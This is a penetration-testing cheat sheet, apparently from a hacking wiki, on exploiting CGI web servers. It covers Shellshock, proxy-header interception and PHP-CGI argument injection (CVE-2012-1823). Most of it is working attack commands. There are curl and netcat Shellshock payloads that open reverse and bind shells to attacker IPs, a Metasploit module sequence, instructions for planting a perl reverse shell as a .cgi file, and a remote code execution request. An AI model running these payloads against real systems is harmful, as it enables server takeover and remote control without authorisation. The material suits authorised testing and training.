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CGI

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Information

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it. In order to test for CGI vulns it's recommended to use nikto -C all (and all the plugins)

ShellShock

ShellShock is a vulnerability that affects the widely used Bash command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.
Exploiting this vulnerability the page could throw an error.
You could find this vulnerability noticing that it is using an old Apache version and cgi_mod (with cgi folder) or using nikto.

Test

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM to Web server requests)

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
As the HTTP_PROXY variable could be used by the web server. Try to send a header containing: "Proxy: <IP_attacker>:<PORT>" and if the server performs any request during the session. You will be able to capture each request made by the server.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Basically if cgi is active and php is "old" (<5.3.12 / < 5.4.2) you can execute code. In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters (specially without sending the character "="). Then, in order to test this vulnerability, you could access for example /index.php?-s (note the -s) and source code of the application will appear in the response.
Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input and the PHP code to be executed in the body of the request. Example:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
More info about the vuln and possible exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
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